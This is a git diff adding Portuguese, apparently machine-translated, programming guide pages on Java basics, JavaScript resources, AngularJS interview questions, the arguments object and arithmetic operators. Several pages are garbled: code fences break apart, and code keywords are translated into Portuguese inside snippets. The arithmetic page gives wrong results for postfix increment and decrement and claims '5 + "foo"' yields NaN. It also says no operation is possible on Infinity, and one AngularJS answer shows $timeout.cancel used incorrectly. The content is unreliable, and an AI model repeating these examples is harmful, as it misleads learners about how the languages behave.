+**_Exemplo:_**
+
+```java
+import java.io.IOException; 
+ class Testthrows1{ 
+  void m()throws IOException{ 
+    throw new IOException("device error");//checked exception 
+  } 
+  void n()throws IOException{ 
+    m(); 
+  } 
+  void p(){ 
+   try{ 
+    n(); 
+   }catch(Exception e){System.out.println("exception handled");} 
+  } 
+  public static void main(String args[]){ 
+   Testthrows1 obj=new Testthrows1(); 
+   obj.p(); 
+   System.out.println("normal flow..."); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/tokens/index.md b/client/src/guide/portuguese/java/tokens/index.md
new file mode 100644
index 0000000000..e8f06dab04
--- /dev/null
+++ b/client/src/guide/portuguese/java/tokens/index.md
@@ -0,0 +1,66 @@
+---
+title: tokens
+localeTitle: tokens
+---
+# Tokens em Java
+
+Estes são os blocos de construção fundamentais de um programa ou a menor unidade de um programa. Java suporta cinco tipos de tokens:
+
+## 1\. Palavras-chave
+
+Estas são as palavras que têm suas definições predefinidas no compilador e não podem ser usadas como nomes dos identificadores. Existem 51 palavras-chave e 2 palavras reservadas em Java.
+
+## 2\. Identificadores
+
+Estes são os vários nomes dados a diferentes componentes do programa. Estes incluem os nomes de variáveis, métodos, classes, etc. Eles não devem começar com um dígito, mas podem conter dígitos, letras, sublinhados, símbolos de moeda.
+
+## 3\. Literais
+
+Estes fornecem uma maneira de expressar valores específicos em um programa. Esses são os seguintes tipos:
+
+### Literais Numéricos
+
+Estes são de três tipos em Java.
+
+*   \#### Literals Inteiros
+*   \#### Literals de ponto flutuante
+*   \#### Literais de caracteres
+
+### Literatura Booleana
+
+Estes são de dois tipos
+
+*   \#### verdade
+*   \#### false
+
+### Literais de cordas
+
+## 4\. Operadores
+
+Estes são os tipos especiais de símbolos usados ​​para executar determinadas operações. Por exemplo, +, -, \*, /,%
+
+## 5\. Seperators
+
+Estes incluem guia, digite, barra de espaço.
+
+##### Agora vamos considerar um programa
+
+```java
+       //Printing Hello World 
+ 
+ public class Hello 
+ 
+ { 
+ 
+ public static void main(String args[]) 
+ 
+ { 
+ 
+ System.out.println(“Hello World”); 
+ 
+ } 
+ 
+ } 
+```
+
+O código-fonte contém tokens como _public_ , _class_ , _Hello_ , {, _público_ , _estático_ , _void_ , _main_ , (, _String_ , \[\], _argumentos_ , {, _System_ , _out_ , _println_ , (, _"Hello World"_ ,},} Os tokens resultantes são compilados em bytecodes Java que podem ser executados a partir de um ambiente Java interpretado.O token é útil para o compilador detectar erros.Quando os tokens não são organizados em uma sequência específica, o compilador gera uma mensagem de erro.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/typecasting/index.md b/client/src/guide/portuguese/java/typecasting/index.md
new file mode 100644
index 0000000000..b02f0438d4
--- /dev/null
+++ b/client/src/guide/portuguese/java/typecasting/index.md
@@ -0,0 +1,25 @@
+---
+title: Typecasting
+localeTitle: Typecasting
+---
## Typecasting
+
+Converter um tipo de dados em outro tipo de dados é conhecido como conversão de tipo. Desde a Java é uma linguagem de programação Orientada a Objetos e suporta **Inheritance** e **Polymorphism** . É fácil que a variável de referência super class esteja apontando para o objeto subClass.
+
+Quando atribuímos o valor de um tipo de dados a outro, os dois tipos podem não ser compatíveis entre si. Se os tipos de dados forem compatíveis, a JVM executará a conversão automaticamente conhecida como conversão automática de tipo e, caso contrário, será necessário converter ou converter explicitamente.
+
+### Tipos de Typecasting
+
+Java, tipo casting é classificado em dois tipos.
+
+**_1\. Tipografia Implícita_** Aqui, o vazamento automático ocorre quando os dois tipos são compatíveis o tipo de destino é maior que o tipo de origem. por exemplo. \`\` \`java int i = 100; long l = i; // nenhum tipo explícito de casting requerido float f = l; // nenhum tipo explícito de casting requerido
+```
+***2.  Explicit Typecasting*** 
+ When we assign a larger type value to a variable of smaller type, then we need to perform explicit type casting. 
+ eg. 
+```
+
+Java d duplo = 100,04; long l = (long) d; // casting de tipo explícito requerido int i = (int) l; // casting de tipo explícito requerido \`\` \`
+
+#### Mais Informações:
+
+*   [Oracle Java Docs: Typecasting](https://docs.oracle.com/javase/specs/jls/se7/html/jls-5.html)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/java/variables/index.md b/client/src/guide/portuguese/java/variables/index.md
new file mode 100644
index 0000000000..65ecb79f2b
--- /dev/null
+++ b/client/src/guide/portuguese/java/variables/index.md
@@ -0,0 +1,55 @@
+---
+title: Variables
+localeTitle: Variáveis
+---
+# Variáveis
+
+Variáveis ​​armazenam valores. Eles são a entidade mais básica usada para armazenar dados como texto, números etc. em um programa.
+
+Em [Java](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/Java) , as variáveis ​​são [_fortemente tipadas_](https://en.wikipedia.org/wiki/Strong_and_weak_typing#Definitions_of_.22strong.22_or_.22weak.22) , o que significa que você precisa definir o tipo para cada variável sempre que você a declarar. Caso contrário, o compilador lançará um erro no [tempo de compilação](https://en.wikipedia.org/wiki/Compile_time) . Portanto, cada variável possui um ' [tipo de dados](https://guide.freecodecamp.org/java/data-types) ' associado a um dos seguintes:
+
+*   Tipo primitivo: `int` , `short` , `char` , `long` , `boolean` , `byte` , `float` , `double`
+*   Tipo de embalagem: `Integer` , `Short` , `Char` , `Long` , `Boolean` , `Byte` , `Float` , `Double`
+*   Tipo de referência: `String` , `StringBuilder` , `Calendar` , `ArrayList` , etc.
+
+Você deve ter notado que o **Tipo de Wrapper** consiste em tipos escritos exatamente como o **Tipo Primitivo** , exceto pelo alfabeto capitalizado no início (como o **Tipo de Referência** ). Isso ocorre porque os tipos de invólucro são, na verdade, parte dos tipos de referência mais gerais, mas estão _intimamente ligados_ às suas contrapartes primitivas via [autoboxing e unboxing](https://docs.oracle.com/javase/tutorial/java/data/autoboxing.html) . Por enquanto, você só precisa saber que tal tipo de wrapper existe.
+
+Normalmente, você pode _declarar_ (ou seja, criar) variáveis ​​de acordo com a seguinte sintaxe: < _data-type_ > < _variableName_ >;
+
+```java
+// Primitive Data Type 
+ int i; 
+ 
+ // Reference Data Type 
+ Float myFloat; 
+```
+
+Você pode _atribuir_ um valor à variável simultaneamente quando estiver declarando-a (o que é chamado de _inicialização_ ) ou em qualquer lugar no código depois de tê-lo declarado. O símbolo **\=** é usado para o mesmo.
+
+```java
+// Initialise the variable of Primitive Data Type 'int' to store the value 10 
+ int i = 10; 
+ double amount = 10.0; 
+ boolean isOpen = false; 
+ char c = 'a'; // Note the single quotes 
+ 
+ //Variables can also be declared in one statement, and assigned values later. 
+ int j; 
+ j = 10; 
+ 
+ // initiates an Float object with value 1.0 
+ // variable myFloat now points to the object 
+ Float myFloat = new Float(1.0); 
+ 
+ //Bytes are one of types in Java and can be 
+ //represented with this code 
+ int byteValue = 0B101; 
+ byte anotherByte = (byte)0b00100001; 
+```
+
+Como é evidente no exemplo acima, as variáveis ​​do tipo Primitivo se comportam de maneira ligeiramente diferente das variáveis ​​do tipo Referência (& Wrapper) - enquanto Variáveis ​​primitivas _armazenam_ o valor real, Variáveis ​​de referência _referem-se a_ um 'objeto' contendo o valor real. Você pode descobrir mais nas seções abaixo.
+
+# Outros recursos
+
+*   [Tipos de dados](https://guide.freecodecamp.org/java/data-types)
+*   [Classes e Objetos](https://guide.freecodecamp.org/java/classes-and-objects)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/additional-javascript-resources/index.md b/client/src/guide/portuguese/javascript/additional-javascript-resources/index.md
new file mode 100644
index 0000000000..c6e0576760
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/additional-javascript-resources/index.md
@@ -0,0 +1,129 @@
+---
+title: JavaScript Tutorials and Other Resources
+localeTitle: Tutoriais JavaScript e outros recursos
+---
+*   [JavaScript para gatos](http://jsforcats.com/)
+*   [O tutorial moderno de JavaScript](https://javascript.info/)
+*   [O Guia Principalmente Adequado do Professor Frisby para a Programação Funcional](https://github.com/DrBoolean/mostly-adequate-guide)
+*   [Eloquent Javascript](http://www.eloquentjavascript.net) ( [_anotado_](https://watchandcode.com/courses/eloquent-javascript-the-annotated-version) )
+*   [Falando Javascript](http://speakingjs.com/es5/)
+*   [Explorando o ES6](http://exploringjs.com/es6/)
+*   [Udemy - Javascript Entendendo as Peças Estranhas ( _primeiras 3.5 horas_ )](https://www.youtube.com/watch?v=Bv_5Zv5c-Ts)
+*   [Programação Funcional em JavaScript](https://www.youtube.com/playlist?list=PL0zVEGEvSaeEd9hlmCXrk5yUyqUag-n84)
+*   [Introdução ao JavaScript: Primeiros Passos](https://www.educative.io/collection/5679346740101120/5720605454237696?authorName=Arnav%20Aggarwal)
+*   [Vídeos de Douglas Crockford](https://www.youtube.com/watch?v=v2ifWcnQs6M&index=1&list=PL62E185BB8577B63D)
+*   [Modern Cheatsheet JS](https://mbeaudru.github.io/modern-js-cheatsheet/)
+*   [Os 50 melhores sites para aprender JavaScript](http://www.codeconquest.com/blog/top-50-websites-to-learn-javascript/)
+*   [Tutorial Codementor JavaScript](https://www.codementor.io/community/topic/javascript)
+*   [Você pode não precisar do jQuery](http://youmightnotneedjquery.com/)
+
+## Referências
+
+*   [DevDocs](http://devdocs.io)
+*   [Folha de referência do JavaScript do OverAPI](http://overapi.com/javascript)
+*   [ECMA-262](http://www.ecma-international.org/publications/standards/Ecma-262.htm)
+*   [Mozilla Developer Network (MDN)](https://developer.mozilla.org/en-US/docs/Web/JavaScript)
+
+Encontre bibliotecas javascript em [http://jster.net](http://jster.net)
+
+## JavaScript rápido
+
+*   [REPL](https://repl.it/languages/Javascript) ( [_nó_](https://repl.it/languages/iojs/) )
+*   [JSBin](http://jsbin.com)
+*   [JSFiddle](https://jsfiddle.net)
+*   [CodePen](http://codepen.io)
+*   [CoderPad ( _programação em par_ )](http://coderpad.io)
+*   [C9 ( _IDE_ , _programação em par_ )](http://c9.io)
+*   [Objeto Playground ( _visualizar objetos_ )](http://www.objectplayground.com/)
+*   [Plunker](http://plnkr.co)
+
+## Desafios
+
+*   [Code Wars](http://codewars.com)
+*   [Classificação de hackers](https://hackerrank.com)
+*   [Jogo de codificação](http://codingame.com)
+*   [CodeFights](https://codefights.com/home)
+*   [ES6 Katas](http://es6katas.org)
+
+## Tutoriais
+
+*   [Codecademy](https://www.codecademy.com)
+*   [RithmSchool](https://www.rithmschool.com)
+
+## Exercícios
+
+*   [Codidão](https://codility.com/programmers/lessons/)
+*   [Coderbyte](http://coderbyte.com)
+*   [Exercício](http://exercism.io)
+*   [JavaScript30](https://javascript30.com/)
+*   [Javascript.com (Pluralsight)](https://www.javascript.com/)
+
+## Editores
+
+*   [Código do Visual Studio](https://code.visualstudio.com/)
+    
+    Código do Visual Studio inclui suporte interno para conclusão de código do IntelliSense, compreensão de código semântico rico e navegação e refatoração de código. Ele vem com um depurador integrado e suporte a git e tem uma infinidade de extensões.
+    
+*   [Webstorm](https://www.jetbrains.com/webstorm/)
+    
+    Um IDE de recursos completos para Javascript, incluindo conclusão de código e suporte para linting dinâmico, controle de versão e teste. Feito por Jet Brains e modelado após seu IntelliJ Java IDE.
+    
+*   [Colchetes](http://brackets.io)
+    
+*   [Átomo](http://atom.io)
+    
+    Editor de texto de código aberto feito pelo GitHub.
+    
+*   [Texto Sublime](https://www.sublimetext.com/)
+    
+
+## Blogs
+
+*   [Matanças perfeitas](http://perfectionkills.com)
+*   [2ality](http://www.2ality.com/)
+*   [Coleção JS no Medium](https://medium.com/the-javascript-collection)
+*   [David Walsh](https://davidwalsh.name/)
+*   [super-heróiJS](http://superherojs.com/)
+
+## Podcasts
+
+*   [JS Jabber](https://devchat.tv/js-jabber)
+
+## Tutoriais em vídeo
+
+*   [Aprenda JS em um vídeo de Derek Banas](https://www.youtube.com/watch?v=fju9ii8YsGs)
+*   [JavaScript orientado a objeto de Derek Banas](https://www.youtube.com/watch?v=O8wwnhdkPE4)
+
+## Livros
+
+*   [Segredos do Ninja JavaScript](https://www.manning.com/books/secrets-of-the-javascript-ninja)
+    
+*   [Programando Aplicativos JavaScript](http://pjabook.com/)
+    
+*   [JavaScript atualizável](http://shop.oreilly.com/product/0636920025245.do)
+    
+*   [Aprendendo padrões de design JavaScript](http://addyosmani.com/resources/essentialjsdesignpatterns/book/)
+    
+*   [Guia de Estilo do Airbnb JavaScript](https://github.com/airbnb/javascript)
+    
+*   [JSDoc](http://usejsdoc.org/)
+    
+*   [Javascript Allonge Six](https://leanpub.com/javascriptallongesix/read)
+    
+*   [Você não sabe JS](https://github.com/getify/You-Dont-Know-JS)
+    
+    6 livros em JavaScript por Kyle Simpson. Do iniciante ao avançado.
+    
+*   [JavaScript eloquente](http://www.eloquentjavascript.net)
+    
+    Introdução fantástica e completa aos fundamentos e recursos do Javascript, completa com código interativo no navegador
+    
+*   [O Guia Principalmente Adequado do Professor Frisby para a Programação Funcional](https://github.com/DrBoolean/mostly-adequate-guide)
+    
+    Muito detalhado guia de programação funcional em JavaScript
+    
+*   [O caminho JavaScript](https://github.com/bpesquet/thejsway)
+    
+*   [JS funcional da luz](https://github.com/getify/Functional-Light-JS)
+    
+    Este livro pretende ser um companheiro útil para quem deseja (re) descobrir as muitas facetas do JavaScript. Desde os conceitos básicos de programação até o desenvolvimento web front-end e back-end, muitos tópicos são abordados de maneira simples e acessível. Nenhum conhecimento prévio necessário!
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/advantages-and-disadvantages-of-javascript/index.md b/client/src/guide/portuguese/javascript/advantages-and-disadvantages-of-javascript/index.md
new file mode 100644
index 0000000000..5e2d4ad575
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/advantages-and-disadvantages-of-javascript/index.md
@@ -0,0 +1,24 @@
+---
+title: Advantages and Disadvantages of JavaScript
+localeTitle: Vantagens e desvantagens do JavaScript
+---
+# Vantagens e desvantagens do JavaScript
+
+Como todas as linguagens de computador, o JavaScript tem certas vantagens e desvantagens. Muitos dos prós e contras estão relacionados ao JavaScript que está sendo executado frequentemente no navegador de um cliente, mas existem outras maneiras de usar o JavaScript agora que permitem que ele tenha os mesmos benefícios das linguagens do lado do servidor.
+
+## Vantagens do JavaScript
+
+*   **Velocidade** . O JavaScript do lado do cliente é muito rápido porque pode ser executado imediatamente no navegador do lado do cliente. A menos que recursos externos sejam necessários, o JavaScript é desimpedido pelas chamadas de rede para um servidor de back-end. Também não precisa ser compilado no lado do cliente, o que lhe confere certas vantagens de velocidade (concedidas, adicionando algum risco dependente da qualidade do código desenvolvido).
+*   **Simplicidade** JavaScript é relativamente simples de aprender e implementar.
+*   **Popularidade** . JavaScript é usado em toda a web. Os recursos para aprender JavaScript são numerosos. O StackOverflow e o GitHub têm muitos projetos que usam JavaScript e a linguagem como um todo ganhou muita tração na indústria nos últimos anos, especialmente.
+*   **Interoperabilidade** O JavaScript funciona bem com outros idiomas e pode ser usado em uma grande variedade de aplicativos. Ao contrário dos scripts PHP ou [SSI](https://en.wikipedia.org/wiki/Server_Side_Includes) , o JavaScript pode ser inserido em qualquer página da web, independentemente da extensão do arquivo. O JavaScript também pode ser usado dentro de scripts escritos em outras linguagens, como Perl e PHP.
+*   **Carga do servidor** . Ser do lado do cliente reduz a demanda no servidor do site.
+*   **Interfaces ricas** Arrastar e soltar componentes ou controles deslizantes pode fornecer uma interface rica para o seu site.
+*   **Funcionalidade Estendida** . Complementos de terceiros como o Greasemonkey permitem que os desenvolvedores de JavaScript escrevam trechos de JavaScript que podem ser executados nas páginas da web desejadas para estender sua funcionalidade.
+*   **Versatilidade** Atualmente, existem muitas maneiras de usar o JavaScript por meio dos servidores do Node.js. Se você tivesse que fazer bootstrap node.js com o Express, usar um banco de dados de documentos como o mongodb e usar JavaScript no front-end para clientes, é possível desenvolver um aplicativo JavaScript inteiro da frente para trás usando apenas JavaScript.
+*   **Atualizações** . Desde o advento do EcmaScript 5 (a especificação de script que o Javascript se baseia), a Ecma International se dedica a atualizar o JavaScript anualmente. Até agora, recebemos suporte de navegador para o ES6 em 2017 e esperamos que o ES7 seja suportado nos próximos meses.
+
+## Desvantagens do JavaScript
+
+*   **Segurança do lado do cliente** . Como o código é executado no computador do usuário, em alguns casos ele pode ser explorado para fins mal-intencionados. Esta é uma das razões pelas quais algumas pessoas optam por desativar o Javascript.
+*   **Suporte ao Navegador** . Às vezes, o JavaScript é interpretado de maneira diferente por diferentes navegadores. Enquanto os scripts do lado do servidor sempre produzirão a mesma saída, os scripts do lado do cliente podem ser um pouco imprevisíveis. Não se preocupe muito com isso - contanto que você teste seu script em todos os principais navegadores, você deve estar seguro. Além disso, existem serviços que permitem testar seu código automaticamente no check-in de uma atualização para garantir que todos os navegadores suportem seu código.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/angularjs-interview-questions/index.md b/client/src/guide/portuguese/javascript/angularjs-interview-questions/index.md
new file mode 100644
index 0000000000..877f5df0d0
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/angularjs-interview-questions/index.md
@@ -0,0 +1,65 @@
+---
+title: Angularjs Interview Questions
+localeTitle: Perguntas da entrevista de Angularjs
+---
+# Perguntas da entrevista de Angularjs
+
+Aqui está uma lista dos conceitos que são freqüentemente perguntados nas entrevistas Angularjs.
+
+*   O que é o AngularJS?
+*   O que é o Model View Controller (MVC)?
+*   Ligação de dados em dois sentidos
+*   O que é injeção de dependência e como funciona?
+*   O que é o $ escopo no AngularJS?
+*   O que é o $ rootScope no AngularJS?
+*   Como implementar o roteamento em Angular?
+*   Explicar diretivas
+*   Como podemos criar uma diretiva personalizada em Angular?
+*   Explique a diferença entre o serviço e a fábrica
+*   Explicar $ q serviço, diferido e promessas
+
+# Exemplos de Perguntas e Respostas
+
+Pergunta: Listar as diretivas no AngularJS? Resposta: ngBind, ngModel, ngClass, ngApp, ngInit, ngRepeat
+
+Pergunta: O que é o escopo do $ em AngularJS? Resposta: $ scope em AngularJS é um objeto que se refere a um modelo de aplicativo. É um objeto que liga a view (elemento DOM) ao controlador. No controlador, os dados do modelo são acessados ​​pelo objeto $ scope. Como sabemos, o AngularJS suporta o padrão MV \*, o objeto $ scope torna-se o modelo do MV \*.
+
+Pergunta: O que é o SPA (aplicativo de página única) no AngularJS? Resposta: Aplicativos de página única (SPAs) são aplicativos da Web que carregam uma única página HTML e atualizam dinamicamente essa página à medida que o usuário interage com o aplicativo. Os SPAs usam AJAX e HTML para criar aplicativos da Web fluidos e responsivos, sem recarregamentos constantes de páginas. No entanto, isso significa que grande parte do trabalho acontece no lado do cliente, em JavaScript. Uma única página HTML aqui significa a página de resposta da interface do usuário do servidor. A fonte pode ser ASP, ASP.NET, ASP.NET MVC, JSP e assim por diante. Um aplicativo da Web de página única, no entanto, é entregue como uma página para o navegador e normalmente não requer que a página seja recarregada à medida que o usuário navega para várias partes do aplicativo. Isso resulta em navegação mais rápida, transferências de rede mais eficientes e melhor desempenho geral para o usuário final.
+
+Pergunta: O que é roteamento no AngularJS? Resposta: O roteamento é um recurso principal no AngularJS. Esse recurso é útil na criação de um SPA (Aplicativo de Página Única) com várias visualizações. No aplicativo SPA, todas as visualizações são arquivos Html diferentes e usamos o Roteamento para carregar diferentes partes do aplicativo, e é útil dividir o aplicativo logicamente e torná-lo gerenciável. Em outras palavras, o Roteamento nos ajuda a dividir nosso aplicativo em visões lógicas e vinculá-las a diferentes controladores.
+
+Pergunta: Explique a diretiva ng-repeat. Resposta: A diretiva ng-repeat é o recurso da diretiva AngularJS mais usado e muito útil. Ele itera sobre uma coleção de itens e cria elementos DOM. Ele monitora constantemente a fonte de dados para renderizar novamente um modelo em resposta a alterações.
+
+Pergunta: Qual é a diferença entre ng-If e ng-show / ng-hide. Resposta: A diretiva ng-If renderiza apenas o elemento DOM se a condição for verdadeira. onde a diretiva ng-show / ng-hide renderiza o elemento DOM mas muda a classe de ng-hide / ng-show para manter a visibilidade do elemento na página.
+
+Pergunta: Como você cancela um tempo limite com o AngularJs? Resposta: $ timeout é o wrapper do AngularJs para window.setTimeout, você cancela o timeout aplicando a função:
+```
+$timeout.cancel(function (){ 
+  // write your code. 
+ }); 
+```
+
+Pergunta: O que é a Injeção de Dependência? Resposta: A Injeção de Dependência (DI) é um padrão de design de software que lida com o modo como os componentes se apropriam de suas dependências. O subsistema do injetor AngularJS é responsável por criar componentes, resolver suas dependências e fornecê-los a outros componentes, conforme solicitado.
+
+Pergunta: Explique a diretiva ng-App. Resposta: A diretiva ng-app inicia um aplicativo AngularJS. Define o elemento raiz. Ele inicializa ou inicializa automaticamente o aplicativo quando a página da Web que contém o aplicativo AngularJS é carregada. Também é usado para carregar vários módulos do AngularJS no aplicativo AngularJS.
+
+Pergunta: Explique a diretiva ng-init Resposta: A diretiva ng-init inicializa os dados do aplicativo AngularJS. Ele é usado para colocar valores nas variáveis ​​a serem usadas no aplicativo. Por exemplo: No exemplo abaixo, inicializamos uma matriz de países usando a sintaxe JSON para definir a matriz de países.
+
+```html
+
+<div ng-app = "" ng-init = "countries = [{locale:'en-US',name:'United States'}, {locale:'en-GB',name:'United Kingdom'}, {locale:'en-FR',name:'France'}]"> 
+   ... 
+ </div> 
+```
+
+Pergunta: Como você compartilha dados entre controladores? Resposta: Crie um serviço AngularJS que irá armazenar os dados e injetá-los dentro dos controladores. Usar um serviço é a maneira mais limpa, rápida e fácil de testar. No entanto, existem outras maneiras de implementar o compartilhamento de dados entre os controladores, como: - Usando eventos - Usando $ parent, nextSibling, controllerAs, etc. para acessar diretamente os controladores - Usando o $ rootScope para adicionar os dados (não é uma boa prática)
+
+Pergunta: Qual é a diferença entre as diretivas ng-if e ng-show / hide? Resposta: ng-if só criará e exibirá o elemento DOM quando sua condição for verdadeira, se a condição for falsa ou mudar para falso, não criará nem destruirá a criada. ng-show / hide sempre gerará o elemento DOM, mas aplicará a propriedade de exibição css com base na avaliação da condição.
+
+#### Mais Informações:
+
+Aqui você pode encontrar outras perguntas e respostas:
+
+*   [Perguntas da entrevista de AngularJS](https://www.tutorialspoint.com/angularjs/angularjs_interview_questions.htm)
+*   [10 AngularJS entrevista perguntas e respostas](https://www.upwork.com/i/interview-questions/angularjs/)
+*   [50 questões mais importantes da entrevista AngularJS para 100% de sucesso](http://www.techbeamers.com/latest-angularjs-interview-questions-answers/)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/arguments/index.md b/client/src/guide/portuguese/javascript/arguments/index.md
new file mode 100644
index 0000000000..9fd2372e31
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/arguments/index.md
@@ -0,0 +1,79 @@
+---
+title: Arguments
+localeTitle: Argumentos
+---
+O objeto arguments é um **objeto do tipo array** _(em que a estrutura do objeto é semelhante à de um array, mas não deve ser considerado um array, pois tem toda a funcionalidade de um objeto)_ que armazena todos os argumentos que você passou para uma função e é proprietária dessa função em particular. Se você fosse passar 3 argumentos para uma função, digamos `storeNames()` , esses 3 argumentos seriam armazenados dentro de um objeto chamado **arguments** e ficaria assim quando `storeNames("Mulder", "Scully", "Alex Krycek")` os argumentos `storeNames("Mulder", "Scully", "Alex Krycek")` para a nossa função:
+
+*   Primeiro, nós declaramos uma função e a fazemos retornar o objeto arguments.
+
+\`\` \`javascript  
+function storeNames () {argumentos de retorno; }
+```
+*   Then, when we execute that function with **n arguments**, 3 in this case, it will return the object to us and it will **look like** an array. We can convert it to an array, but more on that later... 
+```
+
+javascript // Se nós executarmos a seguinte linha no console: storeNames ("Mulder", "Scully", "Alex Kryceck"); // A saída será {'0': 'Mulder', '1': 'Scully', '2': 'Alex Kryceck'}
+```
+If you want to know more about this, such as converting it to an array or the optimization problem that comes with using the _slice(_) method and how to solve it, click on **read more** (Gitter Chat Only). 
+ 
+ ## Treat it as an array 
+ 
+ You can invoke arguments by using `arguments[n]` (where _n_ is the index of the argument in the array-like object) but if you want to use it as an array for iteration purposes or applying array methods to it, you need to _convert it to an array_ by declaring a variable and using the Array.prototype.slice.call method (because _arguments_ is not an array): 
+```
+
+javascript var args = Array.prototype.slice.call (argumentos);
+
+// ou o caminho es6: var args = Array.from (argumentos)
+```
+Since **slice()** has two (the parameter **end** is optional) parameters, you can grab a certain portion of the arguments by specifying (using the _slice.call()_ method renders these two parameters optional, not just _end_) the beginning and the ending of your portion; check out the following code: 
+```
+
+javascript function getGrades () { var args = Array.prototype.slice.call (argumentos, 1, 3); return args; }
+
+// Vamos produzir isso! console.log (getGrades (90, 100, 75, 40, 89, 95));
+
+// SAÍDA DEVE SER: // // \[100, 75\] <- Por quê? Porque começou no índice 1 e parou no índice 3 // então, o índice 3 (40) não foi levado em consideração. // // Se nós removermos o parâmetro '3', deixando apenas (arguments, 1) nós teríamos // cada argumento do índice 1: \[100, 75, 40, 89, 95\].
+```
+### Optimization issues with Array.slice() 
+ 
+ There is a little problem, it's not recommended to use slice in the arguments object (optimization reasons)... 
+ 
+ > **Important**: You should not slice on arguments because it prevents optimizations in JavaScript engines (V8 for example). Instead, try constructing a new array by iterating through the arguments object. 
+ > 
+ > _by_ **_Mozilla Developer Network_** <a href='https://developer.mozilla.org/ca/docs/Web/JavaScript/Reference/Functions/arguments' target='_blank' rel='nofollow'>(reference)<a> 
+ 
+ 
+ 
+ So, what other method is available to convert _arguments_ to an array? I recommend the for-loop (not the for-in loop), you can do it like this: 
+```
+
+javascript var args = \[\]; // Matriz vazia, primeiro. para (var i = 0; i <argumentos.length; i ++) { args.push (argumentos \[i\]) } // Now 'args' é uma matriz que contém seus argumentos. \`\` \`
+
+Para mais informações sobre os problemas de otimização:  
+Assassinos de Otimização: [Gerenciando Argumentos](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments)
+
+### ES6 rest parameter como uma maneira de contornar o objeto arguments
+
+No ES2015 / ES6 é possível usar o parâmetro rest ( `...` ) em vez do objeto arguments na maioria dos lugares. Digamos que temos a seguinte função (não-ES6):
+```
+function getIntoAnArgument() { 
+    var args = arguments.slice(); 
+    args.forEach(function(arg) { 
+        console.log(arg); 
+    }); 
+ } 
+```
+
+Essa função pode ser substituída no ES6 por:
+```
+function getIntoAnArgument(...args) { 
+    args.forEach(arg => console.log(arg)); 
+ } 
+```
+
+note que também usamos uma função de seta para encurtar o retorno de chamada forEach!
+
+O objeto de argumentos não está disponível dentro do corpo de uma função de seta.
+
+O parâmetro rest deve sempre vir como o último argumento na sua definição de função.  
+`function getIntoAnArgument(arg1, arg2, arg3, ...restOfArgs /*no more arguments allowed here*/) { //function body }`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/javascript/arithmetic-operation/index.md b/client/src/guide/portuguese/javascript/arithmetic-operation/index.md
new file mode 100644
index 0000000000..0c773c0252
--- /dev/null
+++ b/client/src/guide/portuguese/javascript/arithmetic-operation/index.md
@@ -0,0 +1,128 @@
+---
+title: Arithmetic Operation
+localeTitle: Operação aritmética
+---
+JavaScript fornece ao usuário cinco operadores aritméticos: `+` , `-` , `*` , `/` e `%` . Os operadores são para adição, subtração, multiplicação, divisão e resto, respectivamente.
+
+## Adição
+
+**Sintaxe**
+
+`a + b`
+
+**Uso**
+```
+2 + 3          // returns 5 
+ true + 2       // interprets true as 1 and returns 3 
+ false + 5      // interprets false as 0 and returns 5 
+ true + "bar"   // concatenates the boolean value and returns "truebar" 
+ 5 + "foo"      // concatenates the string and the number and returns "5foo" 
+ "foo" + "bar"  // concatenates the strings and returns "foobar" 
+```
+
+_Dica:_ Há um [incremento](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment_() útil) operador que é um ótimo atalho quando você está adicionando números por 1.
+
+## Subtração
+
+**Sintaxe**
+
+`a - b`
+
+**Uso**
+```
+2 - 3      // returns -1 
+ 3 - 2      // returns 1 
+ false - 5  // interprets false as 0 and returns -5 
+ true + 3   // interprets true as 1 and returns 4 
+ 5 + "foo"  // returns NaN (Not a Number) 
+```
+
+_Dica:_ Há um [decremento](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Decrement_(--) útil) operador que é um ótimo atalho quando você está subtraindo números por 1.
+
+## Multiplicação
+
+**Sintaxe**
+
+`a * b`
+
+**Uso**
+```
+2 * 3                // returns 6 
+ 3 * -2               // returns -6 
+ false * 5            // interprets false as 0 and returns 0 
+ true * 3             // interprets true as 1 and returns 3 
+ 5 * "foo"            // returns NaN (Not a Number) 
+ Infinity * 0         // returns NaN 
+ Infinity * Infinity  // returns Infinity 
+```
+
+## Divisão
+
+**Sintaxe**
+
+`a / b`
+
+**Uso**
+```
+3 / 2                // returns 1.5 
+ 3.0 / 2/0            // returns 1.5 
+ 3 / 0                // returns Infinity 
+ 3.0 / 0.0            // returns Infinity 
+ -3 / 0               // returns -Infinity 
+ false / 5            // interprets false as 0 and returns 0 
+ true / 2             // interprets true a 1 and returns 0.5 
+ 5 + "foo"            // returns NaN (Not a Number) 
+ Infinity / Infinity  // returns NaN 
+```
+
+## Restante
+
+**Sintaxe**
+
+`a % b`
+
+**Uso**
+```
+3 % 2          // returns 1 
+ true % 5       // interprets true as 1 and returns 1 
+ false % 4      // interprets false as 0 and returns 0 
+ 3 % "bar"      // returns NaN 
+```
+
+## Incremento
+
+**Sintaxe**
+
+`a++ or ++a`
+
+**Uso**
+```
+// Postfix 
+ x = 3;  // declare a variable 
+ y = x++;        // y = 4, x = 3 
+ 
+ // Prefix 
+ var a = 2; 
+ b = ++a; // a = 3, b = 3 
+```
+
+## Decremento
+
+**Sintaxe**
+
+`a-- or --a`
+
+**Uso**
+```
+// Postfix 
+ x = 3;  // declare a variable 
+ y = x--;        // y = 3, x = 3 
+ 
+ // Prefix 
+ var a = 2; 
+ b = --a; // a = 1, b = 1 
+```
+
+_!Importante!_ Como você pode ver, **não** é **possível** executar qualquer tipo de operação no `Infinity` .
+
+Fonte: O incrível [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators) .
\ No newline at end of file
